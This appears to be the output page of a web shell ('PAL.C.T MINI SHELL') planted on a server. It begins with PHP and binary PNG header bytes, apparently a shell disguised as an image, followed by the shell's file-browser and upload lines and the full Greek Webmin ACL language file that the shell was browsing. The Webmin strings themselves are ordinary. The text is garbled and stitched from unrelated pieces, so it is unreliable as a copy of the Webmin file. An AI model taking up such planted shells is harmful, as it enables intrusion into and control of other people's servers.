php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /usr/libexec/webmin/acl/lang/
upload
files >> //usr/libexec/webmin/acl/lang/el

index_title=Χρήστες Webmin
index_user=Χρήστης
index_modules=Ενότητες
index_create=Δημιουργία ενός νέου χρήστη του Webmin.
index_convert=Μετατροπή Χρηστών από Unix σε Webmin χρήστες
index_cert=Αίτημα για Πιστοποιητικό SSL
index_twofactor=Έλεγχος ταυτότητας δύο παραγόντων
index_certmsg=Πατήστε αυτό το κουμπί για να αιτηθείτε έαν πιστοποιητικό SSL που θα σας επιτρέψει να συνδέεστε με ασφαλή τρόπο στο Webmin χωρίς την ανάγκη να εισάγετε όνομα χρήστη και κωδικό.
index_return=λίστα χρηστών
index_none=Κανένα
index_edit=Επεξεργασία Ενότητας ACL :
index_global=Καθολικό ACL
index_users=Χρήστες Webmin
index_groups=Ομάδες Webmin
index_group=Ομάδα
index_nousers=Δεν ορίστηκαν Χρήστες Webmin που να μπορούν να γίνουν επεξεργασία.
index_nogroups=δεν ορίστηκαν Ομάδες Webmin.
index_gcreate=Δημιουργία μιας νέας ομάδας Webmin.
index_members=Μέλη
index_modgroups=Ενότητες από την ομάδα $1
index_sync=Ρύθμιση Συγχρονισμού Χρηστών Unix
index_unix=Ρύθμιση Ελέγχου Ταυτότητας Χρηστών Unix
index_sessions=Προβολή Συνδέσεων
index_rbac=Ρύθμιση RBAC
index_delete=Διαγραφή Επιλεγμένων
index_joingroup=Προσθήκη στην Ομάδα:
index_eulist=Αποτυχία προβολής λίστας χρηστών : $1
index_eglist=Αποτυχία προβολής λίστας ομάδων : $1

edit_title=Επεξεργασία Χρήστη Webmin
edit_title2=Δημιουργία Χρήστη Webmin
edit_readonly=Δεν πρέπει να επεξεργαστείτε αυτό το χρήστη, καθώς τον διαχειρίζεται η ενότητα $1. <a href='$2'>Πατήστε εδώ</a> για να προσπεράσετε την προειδοποίηση και να επεξεργαστείτε όπως και να' χει το χρήστη - αλλά έχετε υπόψη σας πως οποιεσδήποτε χειροκίνητες αλλαγές μπορεί να αντικατασταθούν!
edit_rights=Δικαιώματα πρόσβασης Χρήστη Webmin
edit_user=Όνομα Χρήστη
edit_cloneof=Κλωνοποίηση χρήστη Webmin
edit_real=Αληθινό Όνομα
edit_group=Μέλος της Ομάδας
edit_pass=Κωδικός πρόσβασης
edit_same=Ο ίδιος όπως στο Unix
edit_lock=No password accepted
edit_pam=Έλεγχος Ταυτότητας PAM
edit_unix=Έλεγχος Ταυτότητας Unix
edit_extauth=Εξωτερικό πρόγραμμα ελέγχου ταυτότητας
edit_dont=Όχι αλλαγή
edit_set=Ορισμός σε
edit_passlocked=Ο κωδικός δεν έχει αλλάξει για $1 ημέρες - ο λογαριασμός κλειδώθηκε!
edit_passmax=Ο κωδικός δεν έχει αλλάξει για $1 ημέρες - πρέπει να αλλαχτεί στην επόμενη σύνδεση
edit_passold=Ο κωδικός τελευταία αλλάχτηκε πριν $1 ημέρες
edit_passtoday=Ο κωδικός άλλαξε πριν από λιγότερο από μία ημέρα
edit_modules=Ενότητες
edit_clone=Κλώνος
edit_twofactor=Τύπος ελέγχου ταυτότητας δύο παραγόντων
edit_twofactorprov=Χρήση παροχέα $1 με ID $2
edit_twofactorcancel=Αφαίρεση απαίτησης για έλεγχο ταυτότητας δύο παραγόντων
edit_twofactornone=Δεν έχει ρυθμιστεί ακόμη
edit_twofactoradd=Ενεργοποίηση δύο παραγόντων για Χρήστη
edit_lang=Γλώσσα
edit_notabs=Κατηγοριοποίηση ενοτήτων;
edit_logout=Χρόνος αποσύνδεσης λόγω αδράνειας
edit_mins=λεπτά
edit_chars=γράμματα
edit_minsize=Ελάχιστο μήκος κωδικού
edit_nochange=Επιβολή αλλαγής κωδικού μετά από κάποιες ημέρες;
edit_cert=Όνομα πιστοποιητικού SSL
edit_none=Κανένα
edit_ips=Έλεγχος πρόσβασης διευθύνσεων IP
edit_all=Να επιτρέπεται από όλες τις διευθύνσεις
edit_allow=Να επιτρέπεται μόνο από αυτή τη λίστα διευθύνσεων
edit_deny=Απαγόρευση από αυτή τη λίστα διευθύνσεων
edit_ipdesc=Η πρόσβαση με IP για το χρήστη δουλεύει με τον ίδιο τρόπο που δουλεύει ο καθολικός έλεγχος πρόσβασης με IP στην ενότητα Διαμόρφωση Webmin. Θα ελεγθούν και αυτά εδώ μόνο αν ο χρήστης περάσει από τον καθολικό έλεγχο.
edit_skill=Επίπεδο ικανοτήτων
edit_risk=Επίπεδο ρίσκου
edit_risk_high=Super χρήστης
edit_risk_medium=Διαχειριστής
edit_risk_low=Κανονικός χρήστης
edit_groupmods=(Επιπρόσθετα στις ενότητες από την ομάδα)
edit_euser=δεν επιτρέπεται να επεξεργαστείτε αυτό το χρήστη
edit_egone=Ο επιλεγμένος χρήστης δεν υπάρχει πλέον!
edit_ecreate=Δεν σας επιτρέπεται να δημιουργείτε χρήστες
edit_theme=Προσωπικό θέμα UI
edit_themeglobal=Από τη Διαμόρφωση Webmin
edit_themedef=Παλιό θέμα του Webmin
edit_overlay=Επικάλυψη προσωπικού θέματος
edit_overlayglobal=Καμία - χρήση προεπιλογών του θέματος
edit_log=Προβολή αρχείων καταγραφής
edit_selall=Επιλογή όλων
edit_invert=Αντιστροφή επιλογής
edit_hide=Απόκρυψη μη χρησιμοποιημένων
edit_switch=Αλλαγή σε Χρήστη
edit_return=Χρήστη Webmin
edit_return2=Ομάδα Webmin
edit_rbacdeny=Τρόπος πρόσβασης RBAC
edit_rbacdeny0=Το RBAC ελέγχει μόνο τα ACLs της επιλεγμένης ενότητας
edit_rbacdeny1=Το RBAC ελέγχει όλες τις ενότητες και τα ACLs
edit_global=Δικαιώματα για όλες τις ενότητες
edit_templock=Προσωρινά κλειδωμένος
edit_temppass=Επιβολή αλλαγής στην επόμενη σύνδεση
edit_days=Επιτρεπόμενες ημέρες της εβδομάδας
edit_alldays=Κάθε μέρα
edit_seldays=Μόνο τις επιλεγμένες ημέρες ..
edit_hours=Επιτρεπόμενες ώρες της ημέρας
edit_allhours=Όλες τις ώρες
edit_selhours=Από $1:$2 έως $3:$4
edit_ui=Επιλογές διεπαφής χρήστη
edit_security=Επιλογές ασφάλειας και περιορισμών
edit_mods=Διαθέσιμες ενότητες Webmin
edit_modsg=Διαθέσιμες ενότητες Webmin (επιπρόσθετα σε αυτές από την ομάδα)
edit_proto=Τύπος αποθήκευσης
edit_proto_mysql=Βάση δεδομένων MySQL
edit_proto_postgresql=Βάση δεδομένων PostgreSQL
edit_proto_ldap=Διακομιστής LDAP
edit_proto_=Τοπικά αρχεία

save_err=Αποτυχία αποθήκευσης χρήστη
save_ename=Το '$1' δεν είναι έγκυρο όνομα χρήστη
save_enamewebmin=Το όνομα χρήστη 'webmin' είναι δεσμευμένο για εσωτερική χρήση
save_edup=Το όνομα χρήστη '$1' χρησιμοποιείται ήδη
save_eoverlay=A theme overlay cannot be selected unless a theme is
save_edeny=Δεν μπορείτε να αρνηθείτε στον εαυτό σας πρόσβαση στην ενότητα Χρήστες Webmin
save_eos=Η επιλογή ίδιου κωδικού πρόσβασης με το Unix δεν υποστηρίζεται στο λειτουργικό σας σύστημα.
save_emd5=Η επιλογή ίδιου κωδικού πρόσβασης με το Unix δενμπορεί να χρησιμοποιηθεί σε συστήματα με κρυπτογράφηση MD5
save_eunix=Ο χρήστης Unix '$1' δεν υπάρχει
save_emod=Δεν μπορείτε να παραχωρήσετε πρόσβαση στην ενότητα '$1'
save_ecreate=Δεν σας επιτρέπεται να δημιουργήσετε χρήστες
save_euser=Δεν σας επιτρέπεται να επεξεργαστείτε αυτό το χρήστη
save_ecolon=Οι κωδικοί δεν μπορούν να περιέχουν το χαρακτήρα :
save_epass=Ο κωδικός δεν είναι έγκυρος : $1
save_eself=Η τρέχουσα διεύθυνσή σας IP address ($1) θα απορριφθεί
save_epam=Ο έλεγχος ταυτότητας PAM δεν είναι διαθέσιμος, καθώς το πρόσθετο <tt>Authen::PAM</tt> της Perl δεν είναι εγκατεστημένο ή δεν δουλεύει σωστά.
save_epam2=Μπορείτε να χρησιμοποιήσετε την ενότητα Πρόσθετα Perl του Webmin για να <a href='$1'>κατεβάσετε και να εγκαταστήσετε το Authen::PAM</a> τώρα.
save_egroup=Δεν σας επιτρέπεται να προσθέσετε σε αυτή την ομάδα
save_enone=Δεν εισήχθησαν διευθύνσεις
save_enet=Η '$1' δεν είναι έγκυρη διεύθυνση δικτύου
save_emask=Η '$1' δεν είναι έγκυρη μάσκα δικτύου
save_eip=Η '$1' δεν είναι ολοκληρωμένη διεύθυνση IP ή δικτύου
save_ehost=Αποτυχία εύρεσης διεύθυνσης IP για '$1'
save_elogouttime=Μη ορισμένος ή μη αριθμητικός χρόνος αποσύνδεσης λόγω αδράνειας
save_eminsize=Μη ορισμένο ή μη αριθμητικό ελέχιστο μήκους κωδικού πρόσβασης
save_edays=Δεν έχουν επιλεχθεί επιτρεπόμενες ημέρες
save_ehours=Μη ορισμένες ή μη έγκυρες επιτρεπόμενες ώρες
save_ehours2=Η επιτρεπόμενη ώρα εκκίνησης πρέπει να είναι πριν την ώρα τερματισμού
save_etemp=Η επιλογή για αναγκαστική αλλαγή του κωδικού πρόσβασης στην επόμενη σύνδεση δεν μπορεί να χρησιμοποιηθεί εκτός εάν είναι ενεργό το <a href='$1'>προτροπή χρηστών για εισαγωγή νέου κωδικού</a>

delete_err=Αποτυχία διαγραφής χρήστη
delete_eself=Δεν μπορείτε να διαγράψετε τον εαυτό σας
delete_ecannot=Δεν σας επιτρέπεται να διαγράψετε χρήστες
delete_euser=Δεν σας επιτρέπεται να διαγράψετε αυτό το χρήστη
delete_eanonuser=Αυτός ο χρήστης χρησιμοποιείται για ανώνυμη πρόσβαση σε ενότητες

cert_title=Αίτηση Πιστοποιητικού
cert_issue=Έκδοση Πιστοποιητικού
cert_header=Λεπτομέρειες νέου πιστοποιητικού
cert_msg=Αυτή η φόρμα σας επιτρέπει να αιτηθείτε ένα SSL πιστοποιητικό πελάτη που θα χρησιμοποιείται στο μέλλον για την πρόσβασή σας στο Webmin αντί για το όνομα χρήστη και τον κωδικό σας. Αυτό είναι πιο ασφαλές, αλλά επειδή ο έλεγχος ταυτότητας είναι αυτόματος δεν θα μπορείτε να αλλάξετε σε κάποιον διαφορετικό χρήστη όταν χρησιμοποιείτε το πιστοποιητικό.
cert_ebrowser=Το Webmin δεν γνωρίζει πώς να εκδώσει πιστοποιητικά πελάτη για το πρόγραμμα περιήγησής σας ( $1 )
cert_cn=Το όνομά σας
cert_email=Διεύθυνση Ηλ. Ταχυδρομείου
cert_ou=Τμήμα
cert_o=Οργανισμός
cert_sp=Περιοχή
cert_c=Κωδικός χώρας
cert_key=Μέγεθος κλειδιού
cert_done=Το πιστοποιητικό σας για το $1 έχει δημιουργηθεί με επιτυχία.
cert_pickup=<a href='$1'>Πατήστε εδώ για να πάρετε το πιστοποιητικό σας και να το εγκαταστήσετε στο πρόγραμμα περιήγησης</a>
cert_install=Εγκατάσταση του πιστοποιητικού στο πρόγραμμα περιήγησης
cert_ekey=Ένα νέο κλειδί SSL δεν υποβλήθηκε από το πρόγραμμα περιήγησής σας - ίσως δεν υποστηρίζει πιστοποιητικά προγράμματος-πελάτη SSL.
cert_eca=Αποτυχία ρύθμισης της Αρχής πιστοποιητικών : $1
cert_already=Προσχή - χρησιμοποιείτε ήδη το πιστοποιητικό $1.
cert_etempdir=Μη έγκυρο αρχείο πιστοποιητικού

acl_title=Έλεγχος Πρόσβασης Ενότητας
acl_title2=Για το $1 στο $2
acl_title3=Για την ομάδα $1 στη $2
acl_options=Επιλογές ελέγχου πρόσβασης του $1
acl_config=Μπορεί να επεξεργαστεί τις ρυθμίσεις της ενότητας;
acl_reset=Επαναφορά σε Πλήρη Πρόσβαση
acl_rbac=Λήψη ρυθμίσεων ελέγχου πρόσβασης από το RBAC?
acl_rbacyes=Ναι (παρακάμπτει τις παρακάτω ρυθμίσεις)

acl_uall=Όλοι οι χρήστες
acl_uthis=Αυτός ο χρήστης
acl_usel=Επιλεγμένοι χρήστες ..
acl_gr=Μέλη του $1
acl_users=Χρήστες που μπορούν να γίνουν επεξεργασία
acl_mods=Μπορεί να επιτρέψει πρόσβαση σε
acl_all=Όλες οι ενότητες
acl_own=Μόνο οι δικές του ενότητες
acl_sel=Επιλεγμένες ενότητες ..
acl_create=Μπορεί να δημιουργήσει νέους χρήστες;
acl_delete=Μπορεί να διαγράψει χρήστες;
acl_rename=Μπορεί να μετονομάσει χρήστες;
acl_acl=Μπορεί να επεξεργστεί τον έλεγχο πρόσβασης της ενότητας;
acl_lang=Μπορεί να αλλάξει γλώσσα;
acl_chcert=Μπορεί να αλλάξει το όνομα του πιστοποιητικού SSL;
acl_euser=Δεν σας επιτρέπεται να επεξεργαστείτε το ACL για αυτό τον χρήστη
acl_egroup=Δεν σας επιτρέπεται να επεξεργαστείτε τα ACLs ομάδων
acl_emod=Δεν σας επιτρέπεται να επεξεργαστείτε το ACL για αυτή την ενότητα
acl_others=Μπορεί να δει μη προσβάσιμες ενότητες;
acl_cert=Μπορεί να αιτηθεί πιστοποιητικό;
acl_err=Αποτυχία αποθήκευσης ελέγχου πρόσβασης
acl_groups=Μπορεί να επεξεργαστεί ομάδες;
acl_gassign=Μπορεί να αναθέσει χρήστες σε ομάδες
acl_gall=Όλες οι ομάδες
acl_gsel=Επιλεγμένες ..
acl_gnone=Καμία
acl_perms=Οι νέοι χρήστες που δημιοργούνται παίρνουν
acl_perms_1=Ίδιο έλεγχο προσβάσεων σε ενότητες με τον δημιουργό
acl_perms_0=Προεπιλεγμένο (απεριόριστο) έλεγχο προσβάσεων σε ενότητες
acl_sync=Μπορεί να ρυθμίσει το συγχρονισμό χρηστών;
acl_unix=Μπορεί να ρυθμίσει έλεγχο ταυτότητας unix;
acl_sessions=Μπορεί να δει και να ακυρώσει συνδεδεμένες συνεδρίες;
acl_cats=Μπορεί να αλλάξει την κατηγοριοποίηση;
acl_theme=Μπορεί να αλλάξει το προσωπικό του θέμα;
acl_ips=Μπορεί να αλλάξει τον έλεγχο πρόσβασης μέσω IP;
acl_switch=Μπορεί να αλλάξει σε άλλους χρήστες;
acl_times=Μπορεί να αλλάξει τις επιτρεπόμενες ώρες σύνδεσης;
acl_pass=Μπορεί να αλλάξει τους περιορισμούς για τους κωδικούς πρόσβασης;
acl_sql=Μορεί να ρυθμίσει τη βάση δεδομένων για χρήστες και ομάδες;

log_modify=Τροποποίησε τον χρήστη Webmin $1
log_rename=Μετονόμασε τον χρήστη Webmin $1 σε $2
log_create=Δημιούργησε χρήστη Webmin $1
log_clone=Κλωνοποίησε το χρήστη Webmin $1 σε $2
log_delete=Διέγραψε το χρήστη Webmin $1
log_acl=Ενημέρωσε την πρόσβαση του $1 στο $2
log_reset=Επανέφερε την πρόσβαση για το $1 στο $2
log_cert=Εξέδωσε πιστοποιητικό για τον χρήστη $1
log_modify_g=Τροποποίησε την ομάδα Webmin $1
log_rename_g=Μετονόμασε την ομάδα Webmin $1 σε $2
log_create_g=Δημιούργησε την ομάδα Webmin $1
log_delete_g=Διέγραψε την ομάδα Webmin $1
log_switch=Άλλαξε σε Webmin χρήστης $1
log_delete_users=Διέγραψε $1 χρήστες Webmin
log_delete_groups=Διέγραψε $1 ομάδες Webmin
log_joingroup=Πρόσθεσε $1 χρήστες Webmin στην ομάδα $2
log_pass=Άλλαξε τους περιορισμούς των κωδικών πρόσβασης
log_unix=Άλλαξε τον έλεγχο ταυτότητας χρήστη unix
log_sync=Άλλαξε τον συγχρονισμό χρήστη unix
log_sql=Άλλαξε τη βάση δεδομένων χρήστη και ομάδας
log_twofactor=Έκανε εγγραφή τον χρήστη $1 με τον παροχέα δύο παραγόντων $2
log_onefactor=Απενεργοποίησε τον χρήστη $1 από έλεγχο ταυτότητας δύο παραγόντων

gedit_ecannot=Δεν σας επιτρέπεται να επεξεργαστείτε ομάδες
gedit_title=Επεξεργσία Ομάδας Webmin
gedit_title2=Δημιουργία Ομάδας Webmin
gedit_group=Όνομα ομάδας
gedit_rights=Δικαιώματα πρόσβασης ομάδας Webmin
gedit_modules=Ενότητες μελών
gedit_members=Χρήστες και ομάδες μέλη
gedit_desc=Περιγραφή ομάδας
gedit_egone=Η επιλεγμένη ομάδα δεν υπάρχει πλέον!

gdelete_err=Αποτυχία διαγραφής ομάδας
gdelete_ecannot=Δεν σας επιτρέπεται να διαγράψετε ομάδες
gdelete_euser=Δεν μπορείτε να διαγράψετε την ομάδα σας
gdelete_esub=Ομάδες με υποομάδες δεν μπορούν να διαγραφούν
gdelete_title=Διαγραφή Ομάδας
gdelete_desc=Θέλετε σίγουρα να διαγράψετε την ομάδα $1 και τους χρήστες μέλη $2 ;
gdelete_ok=Διαγραφή Ομάδας

gsave_err=Αποτυχία αποθήκευσης ομάδας
gsave_ename=Μη ορισμένο ή μη έγκυρο όνομα ομάδας 
gsave_enamewebmin=Το όνομα ομάδας 'webmin' είναι δεσμευμένο για εσωτερική χρήση
gsave_edup=Το όνομα της ομάδας χρησιμοποιείται ήδη
gsave_edesc=Μη έγκυρη περιγραφή - ο χαρακτήρας : δεν επιτρέπεται

convert_title=Μετατροπή χρηστών
convert_ecannot=Δεν σας επιτρέπεται να μετατρέψετε χρήστη Unix
convert_nogroups=Δεν έχουν οριστεί ομάδες Webmin στο σύστημά σας. Πρέπει να δημιουργηθεί τουλάχιστον μία ομάδα πριν τη μετατροπή ώστε να οριστούν δικαιώματα για τους χρήστες που θα μετατραπούν.
convert_desc=αυτή η φόρμα σας επιτρέπει να μετατρέψετε υπάρχοντες χρήστες Unix σε χρήστες Webmin. Τα δικαιώματα για κάθε νέο χρήστη Webmin θα καθοριστούν από την παρακάτω επιλεγμένη ομάδα.
convert_0=Όλοι οι χρήστες
convert_1=Μόνο οι χρήστες
convert_2=Όλοι εκτός από τους χρήστες
convert_3=Χρήστες με ομάδα
convert_4=Χρήστες των οποίων τα UIDs είναι στην εμβέλεια
convert_group=Ανάθεση νέων χρηστών στην ομάδα Webmin
convert_sync2=Συγχρονισμός στο μέλλον του κωδικού με τον χρήστη Unix;
convert_ok=Μετατροπή τώρα
convert_err=Αποτυχία μετατροπής χρηστών
convert_eusers=Δεν εισήχθησαν χρήστες προς μετατροπή
convert_egroup=Η ομάδα Unix δεν υπάρχει
convert_emin=Μη έγκυρο ελάχιστο UID
convert_emax=Μη έγκυρο μέγιστο UID
convert_ewgroup=Δεν υπάρχει αυτή η ομάδα Webmin
convert_ewgroup2=δεν σας επιτρέπεται να αναθέσετε νέους χρήστες σε αυτή την ομάδα
convert_skip=$1 παραλείπεται
convert_exists=$1 υπάρχει ήδη
convert_invalid=$1 δεν είναι έγκυρο όνομα χρήστη Webmin
convert_added=$1 προστίθεται
convert_msg=Μετατροπή χρηστών Unix...
convert_user=Χρήστης Unix
convert_action=Ενέργεια
convert_done=$1 χρήστες μετατράπηκαν, $2 μη έγκυροι, $3 υπάρχουν ήδη, $4 εξαιρέθηκαν.
convert_users=Χρήστες για μετατροπή

sync_title=Συγχρονισμός Χρηστών Unix
sync_desc=Αυτή η φόρμα σας επιτρέπει να ρυθμίσετε τον αυτόματο συγχρονισμό των χρηστών Unix που δημιουργούνται μέσω του Webmin και των χρηστών σε αυτή την ενότητα.
sync_nogroups=Δεν έχουν οριστεί ομάδες Webmin στο σύστημά σας. Πρέπει να δημιουργηθεί τουλάχιστον μία ομάδα ώστε να ορίζεται η πρόσβαση για τους χρήστες που δημιουργούνται.
sync_when=Πότε να γίνεται συγχρονισμός
sync_create=Δημιουργία ενός χρήστη Webmin όταν δημιουργείται ένας χρήστης Unix.
sync_update=Ενημέρωση του αντίστοιχου χρήστη Webmin όταν ενημερώνεται ο χρήστης Unix.
sync_delete=Διαγραφή του αντίστοιχου χρήστη Webmin όταν διαγράφεται ο χρήστης Unix.
sync_group=Ανάθεση νέων χρηστών σε ομάδα Webmin
sync_unix=Ορισμός του κωδικού πρόσβασης νέων χρηστών σε έλεγχο ταυτότητας Unix.
sync_ecannot=Δεν σας επιτρέπεται να ρυθμίσετε τον συγχρονισμό χρηστών.

unix_title=Έλεγχος ταυτότητας Χρηστών Unix
unix_err=Αποτυχία αποθήκευσης ελέγχου ταυτότητας Unix
unix_desc=Αυτή η σελίδα σας επιτρέπει να ρυθμίσετε το Webmin ώστε να επικυρώνει τις προσπάθειες σύνδεσης με βάση τη λίστα χρηστών και το PAM. Αυτό μπορεί να είναι χρήσιμο όταν έχετε μεγάλο αριθμό από υπάρχοντες χρήστες Unix στους οποίους θέλετε να δώσετε πρόσβαση στο Webmin.
unix_def=Να επιτρέπεται η σύνδεση μόνο σε χρήστες Webmin
unix_sel=Να επιτρέπεται η σύνδεση σε χρήστες Webmin που αναγράφονται παρακάτω ..
unix_mode=Επιτρέπεται
unix_mall=Όλοι οι χρήστες
unix_group=Μέλη της ομάδας..
unix_user=Χρήστης Unix..
unix_who=Χρήστης ή Ομάδα
unix_to=Σαν χρήστης Webmin
unix_ecannot=Δεν σας επιτρέπεται να ρυθμίσετε τον έλεγχο ταυτότητας χρηστών Unix
unix_epam=Ο έλεγχος ταυτότητας Unix δεν είναι διαθέσιμος καθώς το πρόσθετο <tt>Authen::PAM</tt> της Perl module δεν είναι εγκατεστημένο ή δεν δουλεύει σωστά.
unix_all=Να επιτρέπονται όλοι οι χρήστες Unix
unix_allow=Να επιτρέπονται μόνο οι χρήστες Unix της λίστας
unix_deny=Να απαγορεύονται οι χρήστες Unix της λίστας
unix_none=Δεν εισήχθησαν χρήστες
unix_euser=Το '$1' δεν είναι έγκυρο όνομα χρήστη
unix_egroup=Το '$1' δεν είναι έγκυρο όνομα ομάδας
unix_shells=Να απαγορεύονται οι χρήστες Unix των οποίων το κέλυφος δεν είναι στο αρχείο
unix_eshells=Το αρχείο για το κέλυφος λείπει ή δεν υπάρχει
unix_restrict2=Επιπλέον περιορισμοί
unix_ewhogroup=Λείπει η ομάδα που θα επιτρέπεται από τη σειρά $1
unix_ewhouser=Λείπει ο χρήστης που θα επιτρέπεται από τη σειρά $1
unix_enone=Δεν εισήχθησαν χρήστες Unix ή ομάδες που θα επιτρέπονται
unix_same=&lt;Ίδιος χρήστης ή ομάδα&gt;
unix_sudo=Να επιτρέπεται οι χρήστες που μπορούν να εκτελέσουν όλες τις εντολές με χρήση <tt>sudo</tt> να συνδέονται ως <tt>root</tt>
unix_pamany=Να αντιμετωπίζονται οι συνδέσεις που περνούν μόνο την επικύρωση PAM ως $1
unix_esudo=Η εντολή $1 δεν είναι εγκατεστημένη
unix_esudomod=Το πρόσθετο της Perl $1 που χρειάζεται για τον έλεγχο ταυτότητας <tt>sudo</tt> δεν είναι εγκατεστημένο
unix_header=Ρυθμίσεις ελέγχου ταυτότητας χρήστη Unix
unix_utable=Χρήστες Unix που επιτρέπονται

sessions_title=Τρέχουσες Συνεδρίες
sessions_id=ID Συνεδρίας
sessions_user=Χρήστης Webmin
sessions_login=Τελευταία ενεργός στις
sessions_host=Διεύθυνση IP
sessions_lview=Προβολή αρχείων καταγραφής..
sessions_actions=Ενέργειες..
sessions_logouts=Επίσης προβολή αποσυνδεδεμένων συνεδριών..
sessions_state=Κατάσταση
sessions_this=Αυτή η συνεδρία
sessions_in=Συνδεδεμένος
sessions_out=Αποσυνδεδεμένος
sessions_kill=Αποσύνδεση..

logins_title=Πρόσφατες συνδέσεις Webmin

hide_title=Απόκρυψη Αχρησιμοποίητων Ενοτήτων
hide_desc=Οι ακόλουθες ενότητες θα αφαιρεθούν από τη λίστα πρόσβασης ενοτήτων για τον $1 καθώς οι αντίστοιχοι διακομιστές δεν είναι εγκατεστημένοι στο σύστημά σας ..
hide_ok=Απόκρυψη Ενοτήτων Τώρα
hide_none=Τίποτα για απόκρυψη - ο $1 δεν έχει πρόσβαση σε κάποιες ενότητες των οποίων οι αντίστοιχοι διακομιστές δεν είναι εγκατεστημένοι στο σύστημά σας.
hide_desc2=Έχετε υπόψη σας ότι αυτές οι ενότητες δεν θα ξαναεμφανιστούν αυτόματα αν εγκατασταθούν οι αντίστοιχοι διακομιστές. Θα πρέπει να παραχωρήσετε χειροκίνητα πρόσβαση χρησιμοποιώντας αυτή την ενότητα.
hide_clone=(Κλώνος $1)

switch_euser=δεν σας επιτρέπεται να αλλάξετε σε αυτόν τον χρήστη
switch_eold=Η υπάρχουσα συνεδρία δεν βρέθηκε!

rbac_title=Ρύθμιση RBAC
rbac_desc=Η ενσωμάτωση RBAC του Webmin παρέχει έναν τρόπο για την ενότητα των χρηστών και των δικαιωμάτων ACL να προσδιοριστούν από μια RBAC (Role Based Access Control) βάση δεδομένων, αντί από τα αρχεία ρυθμίσεων του Webmin. Όταν ενργοποιηθεί η υποστήριξη RBAC, όποιος χρήστης για τον οποίο η επιλογή <b>το RBAC ελέγχει όλες τι ενότητες και τα ACL</b> είναι ενεργή, θα προσδιορίζονται οι δυνατότητές του από το RBAC αντί από τις ρυθμίσεις ελέγχου πρόσβασης του Webmin.
rbac_esolaris=Το RBAC υπόστηρίζεται αυτή τη στιγμή μόνο στο Solaris, οπότε δεν μπορεί να χρησιμοποιηθεί σε αυτό το $1 σύστημα.
rbac_eperl=Το πρόσθετο της Perl $1 που χρειάζεται για την ενσωμάτωση του RBAC δεν είναι εγκατεστημένο. <a href='$2'>Πατήστε εδώ</a> για να το εγκαταστήσετε τώρα.
rbac_ecpan=Δεν έχετε πρόσβαση στην σελίδα Webmin Πρόσθετα Perl για να εγκαταστήσετε το απαραίτητο πρόσθετο $1 για την ενσωμάτωση του RBAC.
rbac_ok=Η ενσωμάτωση RBAC είναι διαθέσιμη σε αυτό το σύστημα και μπορεί να ενεργοποιηθεί ανά χρήστη στη σελίδα Επεξεργασία Χρήστη Webmin.

udeletes_err=Αποτυχία διαγραφής χρηστών
udeletes_jerr=Αποτυχία προσθήκης χρηστών στην ομάδα
udeletes_enone=Δεν επιλέχτηκε κανείς
udeletes_title=Διαγραφή Χρηστών
udeletes_rusure=Είσαστε σίγουροι ότι θέλετε να διαγράψετε τους $1 επιλεγμένους χρήστες; Όλες οι ρυθμίσεις ελέγχου πρόσβασης των χρηστών, καθώς και οι πληροφορίες τους, θα χαθούν.
udeletes_users=Επιλεγμένοι χρήστες: $1
udeletes_ok=Διαγραφή Χρηστών
udeletes_ereadonly=Ένας από τους επιλεγμένους χρήστες είναι σημειωμένος ως μη επεξεργάσιμος

gdeletes_err=Αποτυχία διαγραφής ομάδων
gdeletes_title=Διαγραφή Ομάδων
gdeletes_rusure=Είσαστε σίγουροι ότι θέλετε να διαγράψετε τις $1 επιλεγμένες ομάδες, και τους $2 χρήστες που περιέχουν; Όλες οι ρυθμίσεις ελέγχου πρόσβασης, καθώς και οι πληροφορίες τους, θα χαθούν.
gdeletes_users=Επιλεγμένες ομάδες: $1
gdeletes_ok=Διαγραφή Ομάδων

pass_title=Περιορισμοί Κωδικών
pass_ecannot=Δεν σας επιτρέπεται να επεξεργαστείτε τους περιορισμούς κωδικών
pass_header=Επιλογές επιβολής κωδικών Webmin
pass_minsize=Ελάχιστο μήκως κωδικού
pass_nominsize=Χωρίς ελάχιστο
pass_regexps=Οι κωδικοί Regular expressions πρέπει να ταιριάζουν
pass_regdesc=Αναγνώσιμη περιγραφή για το regular expression
pass_maxdays=Ημέρες πριν χρειαστεί αλλαγή ο κωδικός
pass_lockdays=Ημέρες πριν ένας μη αλλαγμένος κωδικός κλειδώσει το λογαριασμό
pass_nomaxdays=Δεν χρειάζεται ποτέ αλλαγή
pass_nolockdays=Ο λογαριασμός δεν κλειδώνει ποτέ
pass_nouser=Αποτροπή κωδικών που περιέχουν το όνομα χρήστη;
pass_nodict=Αποτροπή κωδικών που περιέχουν λέξεις-κλειδιά λεξικού;
pass_oldblock=Αριθμός παλιών κωδικών που θα απορρίπτονται
pass_nooldblock=Δεν υπάρχει όριο για χρήση ίδιου κωδικού
pass_days=ημέρες
pass_pass=κωδικοί
pass_err=Αποτυχία αποθήκευσης περιορισμών κωδικού πρόσβασης
pass_eminsize=Μη ορισμένο ή μη αριθμητικό ελάχιστο μήκος κωδικού
pass_emaxdays=Μη ορισμένος ή μη αριθμητικός αριθμός ημερών πριν την αλλαγή
pass_elockdays=Μη ορισμένος ή μη αριθμητικός αριθμός ημερών πριν κλειδωθεί ο λογαριασμός
pass_eoldblock=Μη ορισμένος ή μη αριθμητικός αριθμός παλιών κωδικών που θα απορρίπτονται

cpass_minsize=Πρέπει να έχει μήκος τουλάχιστον $1 γράμματα
cpass_notre=Ταιριάζει με μη επιτρεπτό πρότυπο
cpass_re=δεν ταιριάζει με κάποιο απαραίτητο πρότυπο
cpass_name=Περιέχει το όνομα χρήστη
cpass_dict=Είναι λέξη-κλειδί από λεξικό
cpass_spellcmd=Δεν είναι εγκατεστημένες ούτε η εντολή $1 ούτε η εντολή $2 που χρειάζονται για έλεγχο λέξεων-κλειδιών από λεξικό
cpass_old=Οι παλιοί κωδικοί δεν μπορούν να ξαναχρησιμοποιηθούν

sql_title=Βάση Δεδομένων Χρήστη και Ομάδας
sql_ecannot=Δεν σας επιτρέπεται να ρυθμίσετε τη βάση δεδομένων χρήστη και ομάδας
sql_header=Επιλογές για τύπο βάσης για χρήστες και ομάδες
sql_host=Όνομα υπολογιστή
sql_user=Όνομα χρήστη
sql_pass=Κωδικός πρόσβασης
